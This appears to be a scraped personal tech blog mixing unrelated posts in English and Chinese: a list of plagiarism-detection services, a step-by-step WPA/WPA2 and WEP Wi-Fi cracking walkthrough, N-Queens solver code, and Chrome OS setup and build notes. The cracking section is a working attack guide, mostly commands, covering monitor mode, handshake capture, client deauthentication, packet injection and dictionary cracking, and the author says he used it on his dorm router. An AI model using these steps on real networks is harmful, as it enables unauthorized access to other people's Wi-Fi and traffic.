
Turnitin : Anti-Plagiarism Service
http://www.turnitin.com/
Turnitin : Anti-Plagiarism Service
Papers are sent to the Turnitin web site and then comapred to files/text on the internet and in their own database.
Turnitin instantly identifies papers containing unoriginal material and acts as a powerful deterrent to stop student plagiarism before it starts.

My DropBox : Anti-Plagiarism Service
http://www.mydropbox.com/
My DropBox : Anti-Plagiarism Software
MyDropbox Suite integrates a renowned plagiarism prevention technology with a versatile digital learning environment that enables instructors to manage online assignments, organize electronic submissions and mark papers on the Web.
MyDropBox is a family of innovative and easy-to-use online tools created to enhance collaborative learning at your institution. Designed for rapid implementation, our products include a world? leading plagiarism prevention system, one-of-its-kind online grading solution and other innovative online tools.
Papers are also sent to 'My Dropbox's' site which prepares reports.

Scriptum : Anti-Plagiarism Service
http://www.scriptum.ca/
Scriptum : Anti-Plagiarism Service
You can use Scriptum's Plagiarism Detector to deter students from cheating on assignments, which raises the quality of work for your course.
Instructors can see at a glance assignments that are original and ones that contain content copied from the Internet.
By storing assignments on the Internet and moving away from paper, you can mark assignments wherever you are - no more delays because the papers are in the office and you're at home.
Every time a student uploads an assignment, Scriptum's plagiarism detector compares it against content found on the Internet. Scriptum's plagiarism detector looks at word-for-word content as well as content that has been changed slightly (such as changing verbs and using synonyms).

EVE : Anti-Plagiarism Software
http://www.canexus.com/eve/
EVE : Anti-Plagiarism Software
EVE Plagiarism Detection System
EVE2 is a very powerful tool that allows professors and teachers at all levels of the education system to determine if students have plagiarized material from the World Wide Web. EVE2 accepts essays in plain text, Microsoft Word, or Corel Word Perfect format and returns links to web pages from which a student may have plagiarized. EVE2 has been developed to be powerful enough to find plagiarized material while not overwhelming the professor with false links.
Once the search has completed, the teacher is given a full report on each paper that contained plagiarism, including the percent of the essay plagiarized, and an annotated copy of the paper showing all plagiarism highlighted in red.
Licence about US$30

WCopyfind 2.5 : Anti-Plagiarism Software
http://www.plagiarism.phys.virginia.edu/Wsoftware.html
WCopyfind 2.5 : Anti-Plagiarism Software
This program examines a collection of document files. It extracts the text portions of those documents and looks through them for matching words in phrases of a specified minimum length. When it finds two files that share enough words in those phrases, WCopyfind generates html report files. These reports contain the document text with the matching phrases underlined.
It cannot search the web or internet to find matching documents for you.
Free to download

Anti-Plagiarism Tools
http://wwwlb.aub.edu.lb/~eplagio/Anti_plag.htm
Anti-Plagiarism Tools
The best free tools for plagiarism detection are Internet search engines.
Most of them allow searching exact phrases or even whole sentences (through 'advanced search').
Thus, if you suspect a paper has plagiarized text, choose some unusual phrases in the text and copy them in a search engine. The engine will bring to you all Internet documents in which the phrase appears AND which were indexed in its huge database.

Copyscape
http://www.copyscape.com
Copyscape : Search for copies of a specific page on your site by entering its URL.

Crack a WPA/WPA2 Wifi Network

2010-01-09T19:38:00.001-08:00

Crack a WPA/WPA2 Wifi Network

what is the Difference Between cracking a WPA network and WPA2 network,Nothing !! There is no difference between cracking a WPA or WPA2 networks at all.In order to sucessfully crack any WPA/WPA2 network,there are 2 main things must happen

1) U must capture the Full 4 Way Handshake.

2) Your Passphrase must be in the DICTIONARY you choose in order to sucessfully BruteForce.

We will be using the aircrack-ng suite of tools and a small dictionary file on Ubuntu.

There are a few ways to crack a WPA / WPA2 PSK password this is just one of them.

This method is usally vunerable because of the end user, as most people will use a pass phrase thats easy to remember.

bcz evry body doesnt want to keep long password.

You will need the following details

A Client connected to the AP to Deauth

ESSID = this is the Name of your wireless network i.e MYWIRELESS

BSSID = this is the MAC address of your AP and will be in this format 00:1C:10:26:A9:39 everyone’s is different so make sure

you write it down correctly or the following will not work

Channel = This will be the channel your AP is Broadcasting on i.e channel 7

ALSO you will need a decent dictionary file you can find many of these around on the internet google is your friend on this one,then lets start below are the Steps

Step 1 - Start the wireless interface in monitor mode

alex@alex-laptop:~$ sudo airmon-ng start wlan0

[sudo] password for alex:

Found 5 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after

a short period of time, you may want to kill (some of) them!

PID Name

767 avahi-daemon

768 avahi-daemon

973 NetworkManager

1054 wpa_supplicant

11423 dhclient

Process with PID 11423 (dhclient) is running on interface wlan0

Process with PID 11990 (airodump-ng) is running on interface mon0

Interface Chipset Driver

wlan0 Intel 3945ABG iwl3945 - [phy0]

(monitor mode enabled on mon2)

mon0 Intel 3945ABG iwl3945 - [phy0]

mon1 Intel 3945ABG iwl3945 - [phy0]

Step 2 - Start airodump-ng to collect authentication handshake

bssid 通过 iwlist wlan0 scanning

Airodump-ng -c 6 -w psk –-bssid 00:21:27:47:D3:B0 mon0 //mon1 是上面 sudo airmon-ng start wlan0 后的对于 wlan0 的可介入点。

Where:

-c 11 is the channel for the wireless network

- -bssid 00:21:27:47:D3:B0 is the access point MAC address. This eliminate extraneous traffic.

-w psk is the file name prefix for the file which will contain the IVs.

mon0 is the interface name.

Important: Do NOT use the ”- -ivs” option. You must capture the full packets.

Step 3 - Use aireplay-ng to deauthenticate the wireless client

aireplay-ng -0 3 -a 00:21:27:47:D3:B0 -c 00:1C:BF:54:10:7E mon0

Where:

-0 means deauthentication

3 is the number of deauths to send (you can send muliple if you wish)

-a 00:21:27:47:D3:B0 is the MAC address of the access point

-c 00:0F:B5:EC:99:6F is the MAC address of the client you are deauthing

mon0 is the interface name

Step 4 - Run aircrack-ng to crack the pre-shared key

The purpose of this step is to actually crack the WPA/WPA2 pre-shared key. To do this, you need a dictionary of words as input. Basically, aircrack-ng takes each word and tests to see if this is in fact the pre-shared key.

There is a small dictionary that comes with aircrack-ng - “password.lst”. This file can be found in the “test” directory of the aircrack-ng source code. The Wiki FAQ has an extensive list of dictionary sources. You can use John the Ripper (JTR) to generate your own list and pipe them into aircrack-ng. Using JTR in conjunction with aircrack-ng is beyond the scope of this tutorial

aircrack-ng -w dictionary.txt -b 00:21:27:47:D3:B0 psk*.cap

Where:

-w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory.

*.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files.

Done now wait for some time It depends upon ur Dictionary file and the passphrase ,

You should now have your PSK passphrase . //得到密码。

Reference :

http://www.outpost9.com/files/WordLists.html WordLists 网址。

http://wordlist.sourceforge.net/ Kevin's Word List Page

http://www.aircrack-ng.org/doku.php?id=cracking_wpa Tutorial: How to Crack WPA/WPA2

Cracking WEP and WPA Wireless Networks

http://docs.lucidinteractive.ca/index.php/Cracking_WEP_and_WPA_Wireless_Networks#Overview

anther way

1. sudo airmon-ng start wlan0 启动无线网卡的监控模式

2.在终端中输入 sudo airodump-ng mon0 ，启动监控模式后无线端口是mon0（如果启动多次会按数字累加），看看有哪些采用wep 加密的AP在线，然后按 ctrl+c 退出，保留终端

3.另开一个终端，输入 sudo airodump-ng -c 6 --bssid 00:1D:0F:7D:D9:1A -w wep mon0
(-c后面的6为AP工作频道，--bissid后面的AP's MAC 是要欲破解AP的MAC地址，-w后的wep的是抓下来的数据包DATA 保存的文件名（可以随便取名），然后回车开始抓包。

4.再另开一个终端，输入 sudo aireplay-ng -1 0 -a 00:1D:0F:7D:D9:1A -h 00:1c:bf:87:70:66 mon0

与AP建立虚拟连接（-h后面跟着的My MAC 是自己的无线网卡的MAC地址)

5.建立虚拟连接成功后，输入 sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 00:1D:0F:7D:D9:1A -h 00:1c:bf:87:70:66 mon0
进行注入，现在步骤3中数据包应该不断增长。

6.收集有5000个以上的DATA之后，另开一个终端，输入 sudo aircrack-ng wep*.cap 进行解密（如果没算出来的话，继续等，aircrack-ng 会在DATA每增加多5000个之后就自动再运行，直到算出密码为至）

这是破解自己宿舍的路由。

7、破解出密码后在终端中输入 sudo airmon-ng stop mon0 关闭监控模式，不然无线网卡会一直向刚刚的AP进行注入的，用ctrl+c退出或者直接关闭终端都是不行的，除非重新启动电脑。

N Queens Problem

2010-01-02T06:10:00.001-08:00

N Queens Problem

By Alex Zhang

1.n 皇后问题的，distinct solution (可行解)!

n		a(n)
1		1
2		0
3		0
4		2
5		10
6		4
7		40
8		92
9		352
10		724
11		2680
12		14200
13		73712
14		365596
15		2279184
16		14772512
17		95815104
18		666090624
19		4968057848
20		39029188884
21		314666222712
22		2691008701644
23		24233937684440
24		227514171973736
25		2207893435808352
26		22317699616364044

2.我的代码测试时间！

N=15 -> 2279184

real 0m5.415s

user 0m5.384s

sys 0m0.008s

N=16 -> 14772512

real 0m35.998s

user 0m35.742s

sys 0m0.064s

N=17 -> 95815104

real 4m14.104s

user 4m11.572s

sys 0m0.448s

在下去时间越来越长了......

我怎么到17就这么长了？

你能算到29，，，很强大。29时有多少可行解?感觉一般算到26就已经是海量时间了，哈哈！

3.别人的一张计算时间，很无敌！有关unique solution ,看下面.-alex zhang 12/28/09 7:27 PM

4.算法执行步。

从算法执行步来看，你的从29 到30 ，跳跃很大啊！

5. unique solution of n queen problems

通过对称，翻转［ symmetry operations (rotations and reflections)］相同的可以看成一个 unique solution .书上的4皇后对称看成一个唯一解。

6.算法问题。

我上面使用的是回溯法，加上递归调用,树的深度搜索。很平常的方法，

我查了一下改进的方法，

使用迭代
使用约束编程

7.数学研究，

Velucchi 推导了相关公式，牛！

k queens on n chessboard

8.代码！！

递归代码，书上的思想！
#include <stdio.h>

int SIZE, MASK, COUNT;

void Backtrack(int y, int left, int down, int right)
{
   int bitmap, bit;

   if (y == SIZE) {
   COUNT++;
   } else {
   bitmap = MASK & ~(left | down | right);
   while (bitmap) {
   bit = -bitmap & bitmap;
   bitmap ^= bit;
   Backtrack(y+1, (left | bit)<<1, down | bit, (right | bit)>>1);
   }
   }
}
int main(void)
{
   SIZE = 17; /* <- N */
   COUNT = 0; /* result */

   MASK = (1 << SIZE) - 1;
   Backtrack(0, 0, 0, 0);

   printf("N=%d -> %d\n", SIZE, COUNT);
   return 0;
}

约束编程思想，别人的代码！ //$sudo apt-get install swi-prolog ;使用 Prolog 语言。
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
   N Queens animation.

   Written Feb. 2008 by Markus Triska (triska@gmx.at)
   Public domain code.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */

:- use_module(library(clpfd)).

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
   Constraint posting.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */

n_queens(N, Qs) :-
   length(Qs, N),
   Qs ins 1..N,
   safe_queens(Qs).

safe_queens([]).
safe_queens([Q|Qs]) :- safe_queens(Qs, Q, 1), safe_queens(Qs).

safe_queens([], _, _).
safe_queens([Q|Qs], Q0, D0) :-
   Q0 #\= Q,
   abs(Q0 - Q) #\= D0,
   D1 #= D0 + 1,
   safe_queens(Qs, Q0, D1).

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
   Animation.

   For each N of the domain of queen Q, a reified constraint of the form

   Q #= N #<==> B

   is posted. When N vanishes from the domain, B becomes 0. A frozen
   goal then emits PostScript instructions for graying out the field.
   When B becomes 1, the frozen goal emits instructions for placing
   the queen. On backtracking, the field is cleared.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */

animate(Qs) :- animate(Qs, Qs, 1).

animate([], _, _).
animate([_|Rest], Qs, N) :-
   animate_(Qs, 1, N),
   N1 #= N + 1,
   animate(Rest, Qs, N1).

animate_([], _, _).
animate_([Q|Qs], C, N) :-
   freeze(B, queen_value_truth(C,N,B)),
   Q #= N #<==> B,
   C1 #= C + 1,
   animate_(Qs, C1, N).

queen_value_truth(Q, N, 1) :- format("~w ~w q\n", [Q,N]).
queen_value_truth(Q, N, 0) :- format("~w ~w i\n", [Q,N]).
queen_value_truth(Q, N, _) :- format("~w ~w c\n", [Q,N]), false.

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
   PostScript definitions.

   Sample instructions, with these definitions loaded:

   2 init % initialize a 2x2 board
   1 1 q % place a queen on 1-1
   1 2 q
   1 2 c % remove the queen from 1-2
   2 2 i % gray out 2-2
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */

postscript -->
   "/init { /N exch def 340 N div dup scale -1 -1 translate \
   /Palatino-Roman 0.8 selectfont 0 setlinewidth \
   1 1 N { 1 1 N { 1 index c } for pop } for } bind def \
   /r { translate 0 0 1 1 4 copy rectfill 0 setgray rectstroke } bind def \
   /i { gsave 0.5 setgray r grestore } bind def \
   /q { gsave r 0.5 0.28 translate (Q) dup stringwidth pop -2 div 0 moveto \
   1 setgray show grestore } bind def \
   /c { gsave 1 setgray r grestore } bind def\n".

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
   Communication with gs.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */

show(N, Options, Qs) :-
   N #> 0,
   open(pipe('gs -dNOPROMPT -g680x680 -dGraphicsAlphaBits=2 -r144 -q'),
   write, Out, [buffer(false)]),
   tell(Out),
   phrase(postscript, Ps),
   n_queens(N, Qs),
   format("~s gsave ~w init\n", [Ps,N]),
   call_cleanup((animate(Qs),labeling(Options, Qs)), close(Out)).

%?- show(N, [ff], Qs).

%?- show(8, [ff], Qs).
%@ Qs = [1, 5, 8, 6, 3, 7, 2, 4] .

测试，

$swipl -f code.pl

?- show(30,[ff,down],Qs).

Qs = [30, 28, 26, 7, 5, 27, 8, 24, 3|...] .

测试 30皇后，大概 1s 就出结果了！强大！

对于 60皇后大概 9s 左右！

迭代思想，使用J语言，别人的代码，很不错！
queens=: 3 : 0
z=.i.n,*n=.y.
for. }.z do.
b=. -. (i.n) e."1 ,. z +"1 _ ((-i.){:$z) */ _1 0 1
z=. ((+/"1 b)#z),.(,b)#(*/$b)$i.n
end.
)

9.相关论文 .

N – Queen Problem in Cell:

The n-Queens Problem

On the modular n-queen problem in higher dimensions

Using Chrome OS

2009-11-21T00:37:00.001-08:00

Using Chrome OS

----alex

1.下载 ,环境

Background:

1.Google Chrome OS演示会于北京时间2009年11月20日凌晨2:00开始

发布了源码 http://src.chromium.org/

很遗憾的是

http://dev.chromium.org/getting-involved

http://www.chromium.org/

都不能访问 !!!

Google Chrome OS Open Source Project Announcement

2.After Google announced the availability of the Chrome OS / Chromium OS source code, one of our engineers (Jon Ursenbach), immediately got to work on compiling the code, trying to see if he could get an instance of Chromium OS running in a virtual machine.

He was finally able to do it! You can download a copy of the virtual machine to use in VMware, VirtualBox, and on a USB drive here (300MB compressed / 700MB uncompressed):
http://gdgt.com/google/chrome-os/download/

Helpful tips, if you download it:
1.) To use the vmdk file, open VMware and create a new virtual machine. One of the options will be to use an "existing virtual disk." (In VMware Fusion, this is the last option below, "use operating system disk" and "use OS disc image file.")
2.) Make sure your VM is set to use bridged networking, rather than NAT.
2.) The username and password to login to Chrome OS / Chromium OS is your google account!

Alternatively, if you don't have VMware, some users have had luck getting this image to run using VirtualBox, which is a free cross-platform (Windows / Mac / Linux) virtual machine created by Sun Microsystem. You can download VirtualBox here:
http://www.virtualbox.org/

Anyway, get downloading and try out Chrome OS! And definitely share your impressions.

国内比较快的种子 http://google.org.cn/files/chromeos-image-999.999.32309.211410-a1.vmdk.bz2.5170843.TPB.torrent
当然也可以自己编译，哈哈

Ubuntu 9.10 - Karmic Koala

2.安装过程

截了一些图片

.vmdk 是vmware 上的虚拟硬盘镜像，在VirtualBox上也能用。

如果要转换成VirtualBox的.vdi

$ unzip chrome-os-0.4.22.8-gdgt.vmdk.zip

$ qemu-img convert chrome-os-0.4.22.8-gdgt.vmdk chrome-os-0.4.22.8-gdgt.bin

$ VBoxManage convertdd chrome-os-0.4.22.8-gdgt.bin chrome-os-0.4.22.8-gdgt.vdi

没什么实际意思

配置一下网络

启动后的界面

注意 : username : mark

password : chromeos

这是google 内部员工的帐号 .

本来是可以用 Google Account ID ，比如 gmail 帐号 To login.But 我试了很多次，都登录不进去 .

还有 this build of ChromeOS came from bittorrent ，注意一下木马之类的，或者应该重新申请一个

Google Account ID ，比较安全.

3.一些测试

进入控制台 Ctrl + alt + T

Shortcut Keys

To get a visual overlay of shortcut keys available, hit F8 and any of the modifier keys like CTRL, ALT, SHIFT to find all the associated hotkeys

Action	When	Feature
F12	Running	Toggle Window Overview
F8	Running	Toggle keyboard overlay showing all the shortcut keys
ESC	Window Overview	Exit Window Overview
F2	Boot	Startup options - disable internal HDD to boot from USB stick
Ctrl + Alt + T	Running	Open Terminal Window
Ctrl + Alt + N	Chrome	Open New Chrome Window
Ctrl + Alt + L	Running	Lock the screen
Ctrl + Alt + M	Running	Enable external monitor
Ctrl + ,	Chrome	Goto battery and network settings page (localhost:8080)
Ctrl + Tab	Chrome	Next Tab
Ctrl + Shift + Tab	Chrome	Prior Tab
Ctrl + 1 through Ctrl + 8	Chrome	Switches to the tab at the specified position number on the tab strip
Alt + Tab	Running	Next Window
Alt + Shift + Tab	Running	Prior Window
Close Lid	Running	Sleep mode
Power-Key	Running	Shutdown

System information

Here's the output of dpkg -l

uname -a

接下来就是对于shut-down button ,没有找到，只好用VirtualBox 的外部开关关掉，

时间测试

开机差不多 10s ，

关机差不多 4s

root 的password :chromeos

the root filesystem is read-only. Seeing as /var/lib/dpkg/lock is set
(and isn't writable) you can't use dpkg to install anything.

However,
because we have super-user privileges, we can simply remount the root
filesystem to be writable.

#sudo mount -o remount,rw /

4.Building Chromium OS

Prerequisites

You need to have Linux. We currently support the following:

Ubuntu (Hardy 8.04 or newer, Karmic 9.10 recommended)
An account with root access (needed to run chroot and modify the mount table)
Chromium prerequisites (needed to build a Chromium-based browser as part of building Chromium OS)

Get the source

At this stage, you will need to get the Chromium OS source code. Follow the instructions in Getting the Chromium OS Source Code.

Build Instructions

This page covers building a Chromium-based OS. It assumes you have already downloaded the source for the OS (and optionally for the browser).
Note: When you produce a Chromium OS image, you need to fulfill the various attribution requirements of the third party licenses. Currently, the images generated by a build don't automatically do this for you. You'll need to modify~/chromium/src/chrome/browser/resources/about_os_credits.html.
Setting up your build environment
Set up symlinks (optional)
The rest of this document assumes you have created symlinks in your home directory for the OS and browser (only for the latter if you download the source). You can set these up with (note these directories depend on where you set up your repository or if you downloaded the tarball, where you unzipped it):
ln -s /usr/local/chromiumos/chromiumos.git ~/chromiumos
ln -s /usr/local/chromium/trunk ~/chromium

You don't have to create the symlinks, but it makes paths much easier to reference. Once the symlinks exists, you should see src in each directory — for example, ~/chromiumos/src and ~/chromium/src should exist.

Make your local repository
All the necessary scripts to build a Chromium OS image are located in ~/chromiumos/src/scripts. The rest of these instructions assume you have changed your directory to that directory:

cd ~/chromiumos/src/scripts

To get a reproducible build, we check in an exact list of packages to be used for the chroot build environment and image. To make sure debootstrap and apt-get install only those packages, run the following command to construct a local repository in ~/chromiumos/repo:

./make_local_repo.sh

Note: To modify the contents of that local repository, or create a chroot / image with a different set of packages, see Chromium OS Package Management.

If you're running an older Linux release, your version of debootstrap may not be able to install the newer Karmic version of Ubuntu that we use to build Chromium OS. If making the local repository or the chroot fails, here's a workaround that installs the Karmic version:

# Create a karmic.list which pulls from chromeos-deb
cat >karmic.list <<EOF
deb http://build.chromium.org/buildbot/packages chromeos_dev main restricted
deb-src http://build.chromium.org/buildbot/packages chromeos_dev main restricted
EOF

# Install karmic debootstrap
sudo mv karmic.list /etc/apt/sources.list.d/karmic.list
sudo apt-get update
sudo apt-get install -y --force-yes debootstrap

# Remove temporary sources.list entry, so you don't upgrade anything else
sudo rm /etc/apt/sources.list.d/karmic.list
sudo apt-get update

If you're still having trouble, try this instead:

sudo ln -s /usr/share/debootstrap/scripts/gutsy /usr/share/debootstrap/scripts/karmic
Create your build environment
Chromium OS builds only in a chroot environment, so that its build output is less dependent on the particular flavor of Linux you have installed (Hardy or Jaunty, for example). Do the following to set up a chroot environment:

./make_chroot.sh

Note: By default, the setup script configures /etc/apt/sources.list to pull from the local repository you created in the previous step. If you're pushing the boundaries of development (for example, attempting to compile for a different processor), you may need to get the most recent packages from the repository. In that case, run the following:

./make_chroot.sh --mirror=http://build.chromium.org/buildbot/packages --suite=chromeos_dev
That command pulls packages from the Chromium repository. Note that this is slower than a local repository. Also note you can use any of the official Ubuntu mirrors. You'll need to specify the same --mirror and --suite options to the build_image.sh script below.
Building Chromium OS
Build Chromium (optional)
If you chose to download the source code for the browser, you'll need to build the browser before you complete the rest of the build process:
./build_chrome.sh --chrome_dir ~/chromium
To build a debug version:
./build_chrome.sh --mode=Debug --chrome_dir ~/chromium
This builds Chromium, zips up the output, and puts it in the right place for build_platform_packages to pick up.
Download Chromium binary (you MUST do this if you didn't use the step above)
Download the binary and copy it into ~/chromiumos/src/build/x86/local_assets as chrome-chromeos.zip (you have to create this directory). This will give you a recent copy of the browser for use with Chromium OS.
Enter the chroot build environment
Run the following to get into the chroot environment:

./enter_chroot.sh

Making development easier
The following steps make development a little easier. These only need to be done once; consult the scripts for information on how to undo these steps if you change your mind later. These steps have to be done before you build the rest of your system to have them take effect.
Enable a local user account
If you are customizing Chromium OS and having trouble logging in due to your customizations, it may be handy to be able to bypass authentication and log yourself in as a test user. This is disabled by default for security reasons, but if you want to enable it for a backdoor user USERNAME:

( cd ../platform/pam_google && ./enable_localaccount.sh USERNAME )

Set the shared user password
For security, the shared user password defaults to a long random string. If you want to be able to sudo from the terminal in Chromium OS (this also includes actually installing the OS on your device), need help debugging networking, or you have some other reason for needing to log on directly as the shared user, you need to set up the password for the shared user:

./set_shared_user_password.sh

This will prompt you for a password. The encrypted password will be stored in ./shared_user_password.txt, so you only need to do this once.
Build the packages
Do this inside the chroot build environment. We build the platform packages and then the kernel. You can substitute a different config or kernel build number if you know what you are doing.

./build_platform_packages.sh
./build_kernel.sh

Build the image
Do this inside the chroot build environment.

./build_image.sh

The default output location for images is ~/chromiumos/src/build/images.

The output of build_image.sh will create a unique monotonically increasingly numbered subdir under the output location which contains the master boot record (mbr.image) and the root filesystem image (rootfs.image). Check the output of build_image.sh to find the corresponding directory where your new image has been placed.

Using your image
Check the contents of the image
To check the contents of your image, mount it locally. In this example, SUBDIR is the subdirectory created in the previous step.

cd ~/chromiumos/src/build/images/SUBDIR
sudo mount -o loop rootfs.image rootfs
sudo chroot rootfs

You're now in the image, and can do things like see how much space is used in the image or what packages were installed:

df
dpkg -l

When done, exit the chroot shell and unmount the image:

exit
sudo umount rootfs
Copy the image to a USB key
Use image_to_usb.sh to copy the image to a USB key. Do this outside the chroot environment. (If your USB key seems blank, you're probably inside the chroot environment.) Make sure you have a 4GB USB key.

./image_to_usb.sh --from=~/chromiumos/src/build/images/SUBDIR --to=/dev/USBKEYDEV

SUBDIR is the subdirectory created by build_image.sh, and USBKEYDEV is the device for the USB key.

To determine the value for USBKEYDEV, use:

sudo fdisk -l

or

dmesg

What you want is the device for the entire key (for example, /dev/sdb, not /dev/sdb1).

By default, image_to_usb.sh copies from the most recent image you've built to /dev/sdb, so you may be able to omit the --from and/or --to options.
Copy image to hard drive (see development hardware)
WARNING: this nukes your hard drive

Boot from the USB image you just burned. (If this is the first time you've booted from USB, you may need to go into the BIOS settings and change the boot order so that it'll boot from the USB drive)

After logging in, use Ctrl+Alt+T to open a terminal window and type:

/usr/sbin/chromeos-install

Note: this will ask you for the password you set in the recommended step earlier. Unplug the USB drive, reboot and you're there.

Convert the image for VMWare
Note: The VMWare image may have missing functionality (e.g. no virtual terminal, slow keyboard response, etc). We suggest that developers obtain development hardware

If you want to boot from the image in a vmware session you'll need to first convert it to a vmware disk. First install qemu. Then execute these commands:

./image_to_vmware.sh --from=~/chromiumos/src/build/images/SUBDIR \
--to=~/chromiumos/src/build/images/SUBDIR/ide.vmdk

By default, image_to_vmware.sh will convert the most recent image you've built to ide.vmdk, so you may be able to omit the --from and/or --to options.
Delete an old chroot build environment
To delete an old chroot build environment, use:

./make_chroot.sh --delete

Do NOT use rm -rf, since if there are stale bind mounts, you may end up deleting your source tree.